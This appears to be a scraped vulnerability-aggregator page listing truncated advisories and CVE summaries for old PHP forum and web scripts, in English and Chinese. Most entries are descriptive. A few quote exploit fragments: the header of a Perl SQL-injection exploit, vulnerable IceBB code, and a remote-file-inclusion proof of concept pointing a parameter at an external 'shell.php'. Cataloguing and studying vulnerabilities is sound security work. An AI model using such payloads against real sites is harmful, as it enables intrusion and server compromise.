smf-upload.txt

====================================================================== SMF Forum Exploit every Version ====================================================================== Author: masbloon Status: patch not available yet Works on : By Default, Admin always disable "encrypt filenames option"...

icebb-database.txt

./includes/functions.php, line 73 $ip = empty$SERVER'HTTPXFORWARDEDFOR' ? $SERVER'REMOTEADDR' : $SERVER'HTTPXFORWARDEDFOR'; $ip = $this-cleankey$ip; $input'ICEBBUSERIP' = $ip; ./icebb.php, line 169 $icebb-clientip = $input'ICEBBUSERIP'; ./admin/index.php, line 112 $icebb-adsess =...

Softbiz Freelancers Script v.1 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Softbiz Freelancers Script V.1 Multiple Remote Vulnerabilities SQL Injection Exploit/XSS AUTHOR : IRCRASH Dr.Crash &nb...

Free Forum Search SQL注入漏洞

Free Forum是一款基于PHP的WEB应用程序。 Free Forum不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。 问题是由于搜索脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或可能操作数据库。 New Vision Enterprise Free Forum 目前没有解决方案提供： http://www.nvecs.com/freeforum.asp...

Unfixed XSS vulnerability at www.argus.nu

Security researcher Uber0n, has submitted on 15/11/2007 a cross-site-scripting XSS vulnerability affecting www.argus.nu, which at the time of submission ranked 812420 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/11/2007. It is currently...

CVE-2007-5943

Simple Machines Forum SMF 1.1.4 allows remote attackers to read a message in private forums by using the advanced search module with the "show results as messages" option, then searching for possible keywords contained in that message...

CVE-2007-5943

Simple Machines Forum SMF 1.1.4 allows remote attackers to read a message in private forums by using the advanced search module with the "show results as messages" option, then searching for possible keywords contained in that message...

Myspace Clone Script Remote SQL Injection Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ Myspace Clone Script SQL Injection Vulnerabilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz &...

Unfixed XSS vulnerability at www.titanic-forum.de

Security researcher SeeD, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting www.titanic-forum.de, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2007. It is currently...

Code injection

Direct static code injection vulnerability in forum.php in Ben Ng Scribe 0.2 and earlier allows remote attackers to inject arbitrary PHP code into a certain file in regged/ via the username parameter in a Register action, possibly related to the register function in forumfunctions.php...

CVE-2007-5822

Direct static code injection vulnerability in forum.php in Ben Ng Scribe 0.2 and earlier allows remote attackers to inject arbitrary PHP code into a certain file in regged/ via the username parameter in a Register action, possibly related to the register function in forumfunctions.php...

CVE-2007-5823

CVE-2007-5823 affects Ben Ng Scribe 0.2 and earlier. The vulnerability is a directory traversal in forum.php, exploitable via the username parameter in a Register action, allowing remote attackers to create or overwrite arbitrary files by using .. (dot dot). The linked sources (NVD/NVD-processed ...

CVE-2007-5822

Direct static code injection vulnerability in forum.php in Ben Ng Scribe 0.2 and earlier allows remote attackers to inject arbitrary PHP code into a certain file in regged/ via the username parameter in a Register action, possibly related to the register function in forumfunctions.php...

Cross site scripting

Cross-site scripting XSS vulnerability in Services/Utilities/classes/class.ilUtil.php in ILIAS 3.8.3 and earlier allows remote attackers to inject arbitrary web script or HTML via attributes inside a domain-name string in the 1 mailing or 2 forum component, as demonstrated using the style and...

ilias-xss.txt

====================================================================== ILIAS Impact: Cross Site Scripting Status: patch available ------------------------------ Affected software description: ------------------------------ Application: ILIAS Version: = 3.8.3 Vendor: http://www.ilias.de Descriptio...

Multi-Forums Directory.PHP SQL注入漏洞

Multi-Forums是一款基于PHP的WEB应用程序。 Multi-Forums不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL攻击，获得敏感信息或操作数据库。 问题是由于'Directory.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，攻击者可以获得敏感信息或操作数据库。 Multi-Forums 目前没有详细解决方案提供： http://www.sebflipper.com/?page=scriptsmfp...

Simple Machines Forum Search.php SQL Injection

The remote host is running Simple Machines Forum SMF, an open source web forum application written in PHP. The version of Simple Machines Forum installed on the remote host fails to sanitize user input to the 'userspec' parameter used in conjunction with the 'search2' action to the 'index.php'...

mhfp-sql.txt

--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Multi Host...

CVE-2003-1454

Invision Power Services Invision Board 1.0 through 1.1.1, when a forum is password protected, stores the administrator password in a cookie in plaintext, which could allow remote attackers to gain access...

phpimage-rfi.txt

PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php? http://site/xargcornerbottom.php?xarg=http://shell.php ?...